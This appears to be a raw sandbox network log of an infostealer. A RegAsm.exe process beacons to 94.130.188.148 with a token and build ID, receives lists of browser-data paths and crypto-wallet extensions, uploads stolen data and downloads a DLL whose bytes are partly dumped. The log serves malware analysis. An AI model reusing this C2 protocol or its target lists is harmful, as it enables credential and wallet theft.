2024-08-30 01:17:54 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:17:54 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------HJDBFBKKJDHJKECBGDAKCont
2024-08-30 01:17:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:17:54 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49769	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:56 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:17:56 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------EGIJKEHCAKFCAKFHDAAAContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------EGIJKEHCAKFCAKFHDAAACont
2024-08-30 01:17:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:17:56 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49773	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:57 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:17:57 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------AECAKECAEGDHIECBGHIICont
2024-08-30 01:17:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:17:58 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49777	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:00 UTC	307	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 8697 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:00 UTC	8697	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------IEHDBAAFIDGDAAAAAAAACont
2024-08-30 01:18:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49778	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:01 UTC	222	OUT	GET /sqlr.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:01 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:01 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Friday, 30-Aug-2024 01:18:01 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-30 01:18:01 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 Data Ascii: wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b Data Ascii: D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b Data Ascii: ,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-08-30 01:18:01 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49780	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:04 UTC	307	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:04 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 Data Ascii: 